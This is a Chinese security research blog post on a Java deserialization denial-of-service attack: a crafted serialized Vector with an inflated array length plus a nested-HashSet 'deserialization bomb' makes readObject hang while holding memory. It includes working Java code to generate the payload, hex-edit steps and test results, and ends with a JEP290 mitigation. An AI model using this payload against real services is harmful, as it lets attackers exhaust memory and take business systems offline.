作者:fnmsd@360云安全
前言
前段时间翻ObjectInputStream
代码,发现一处可以利用手工构造的序列化数据来虚耗的问题,以为可以加个CVE了。
提交给Oracle后,被驳回,得知JEP290机制可以进行防御(虽然默认不开)。
向Oracle官方确认没问题后,输出了这篇文章。
问题简述
通过输入简单修改过的序列化数据,可占用任意大小的内存,结合其他技巧,可使ObjectInputStream.readObject
方法卡住,占用的内存不被释放,导致其他正常业务进行内存申请时报OutOfMemoryError
异常来进行拒绝服务攻击。
问题效果比较接近之前的Fastjson拒绝服务问题,相关影响可以参考如下文章:
https://www.anquanke.com/post/id/185964
可通过配置JEP290机制进行防御
本篇测试环境使用jdk1.8.0_281
分析
在反序列化数组时, 在ObjectInputStream.readArray
方法中,会从InputStream
读取数组长度,并按照数组长度来创建数组实例,那么主要我们对序列化数据中的数组大小进行修改,此处就可以无意义的消耗内存。
(这个也是没办法的事情,毕竟输入来自于流,没法直接确定剩余数据大小)
(注意箭头上面实际上有个filterCheck,这个就是JEP290的检查点)
在创建好指定长度的数组实例后,就会开始依次从流中读取数组中所存储的对象。
由于我们输入的数据实际没有那么长(例如实际数组长度是123,我们修改后的是MAX_INT-2=2147483645个,没有那么多数据),在读取过程中会出现错误,所以此处需要想办法让其卡住,以至于不出错退出。
经过查找发现了一个《effective java》中提到的一个叫反序列化炸弹的技巧,此处不多赘述,请直接看这篇博文:
https://blog.csdn.net/nevermorewo/article/details/100100048
该技巧可以构造一个特殊的多层HashSet对象,使其序列化数据在反序列化过程中一直执行,不会报错。
利用该技巧使我们构造数组第一个元素为“反序列化炸弹对象”,使其一直停在第一个对象的readObject流程中。
序列化包构造
Java原生的Vector
类中包含Object数组并且支持序列化,我们使用该类进行构造。
- 使用代码构造原始类:
import java.io.FileNotFoundException;
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.HashSet;
import java.util.Set;
import java.util.Vector;
public class test {
public static void main(String[] args){
//Effective Java的反序列化炸弹部分构造
Set<Object> root = new HashSet<>();
Set<Object> s1 = root;
Set<Object> s2 = new HashSet<>();
for (int i = 0; i < 100; i++) {
Set<Object> t1 = new HashSet<>();
Set<Object> t2 = new HashSet<>();
t1.add("foo"); // Make t1 unequal to t2
s1.add(t1); s1.add(t2);
s2.add(t1); s2.add(t2);
s1 = t1;
s2 = t2;
}
FileOutputStream FIS = null;
try {
FIS = new FileOutputStream("evil.obj");
} catch (FileNotFoundException e) {
e.printStackTrace();
}
try {
ObjectOutputStream OOS = new ObjectOutputStream(FIS);
Vector<Object> vec = generateObj(root);
//如果想消耗更多内存可以多加包裹几层vector
//vec = generateObj(vec);
OOS.writeObject(vec);
} catch (IOException e) {
e.printStackTrace();
} catch (NoSuchFieldException e) {
e.printStackTrace();
} catch (IllegalAccessException e) {
e.printStackTrace();
}
}
private static Vector<Object> generateObj(Object root) throws NoSuchFieldException, IllegalAccessException {
Vector<Object> vec = new Vector<>();
//为了后面方便修改替换,这里把vector的内部数组长度改为123
Object[] objects1 = new Object[123];
//设置数组的第一个元素为
objects1[0]=root;
Field elementData = vec.getClass().getDeclaredField("elementData");
elementData.setAccessible(true);
elementData.set(vec,objects1);
return vec;
}
}
- 把Object数组的长度从123(16进制为00 00 00 7B)改成一个比较大的数(java最大允许的数组长度为MAX_INT-2=2147483645,十六进制为7F FF FF FD)通过HxD修改序列化数据中的数组长度,修改前:
修改后:
(感觉以上过程可以用n1nty师傅的https://github.com/QAX-A-Team/SerialWriter实现)
反序列化
运行代码:
import java.io.*;
public class testRead {
public static void main(String[] args){
try {
System.out.println("Start ReadObject");
FileInputStream FIS = new FileInputStream("evil.obj");
ObjectInputStream OIS = new ObjectInputStream(FIS);
OIS.readObject();
} catch (FileNotFoundException e) {
e.printStackTrace();
} catch (IOException e) {
e.printStackTrace();
} catch (ClassNotFoundException e) {
e.printStackTrace();
}
}
}
调试时可以看到调用Array.newInstance创建大小为2147483645的数组,单次占用空间大约8GB。
之后在反序列化数组中元素时,会卡在反序列化炸弹的反序列化流程中。
大概这么个过程:
运行结果:
给-Xmx8100M的条件下执行会直接OOM
给-Xmx16100M的情况下会在readObject时卡住,并占用大量内存:
再嵌套一层Vector的话,16GB同样会报OOM
防御(配置JEP290机制)
官方从8u121,7u13,6u141分别支持了JEP290,详细可以看一下隐形人师傅的这篇文章:
https://blog.csdn.net/u011721501/article/details/78555246
可以通过下面两处进行配置:
- 系统属性
jdk.serialFilter
-
conf/security/java.properties
中的安全属性jdk.serialFilter
JEP290除了目前提到较多的对反序列化类的类型进行过滤外,还支持如下参数:
-
maxdepth=value
— the maximum depth of a graph(图的最大层级,看代码是对象嵌套的层级数) -
maxrefs=value
— 内部引用的最大数量 -
maxbytes=value
— 输入流的最大长度 -
maxarray=value
— 最大数组长度
所以针对上述攻击方式,可使用maxdepth以及maxarray进行限制,加入启动参数:
-Djdk.serialFilter=maxarray=100000;maxdepth=20
成功的进行了防御。
结尾
Java序列化、反序列化机制用在Java开发的方方面面,目前已知的反序列化输入点很多。
通过JEP290机制可防御该问题,不过虽然JEP290机制已经推出多时,但是目前开启的并不太多。
所以该方法影响面还是很大的,只要数组长度配置的好,就能最大限度的虚耗内存,妨碍正常业务的运转。
建议Java类业务开启JEP290来防御此类攻击。
引用
反序列化炸弹相关:
https://blog.csdn.net/nevermorewo/article/details/100100048
JEP290相关:
http://openjdk.java.net/jeps/290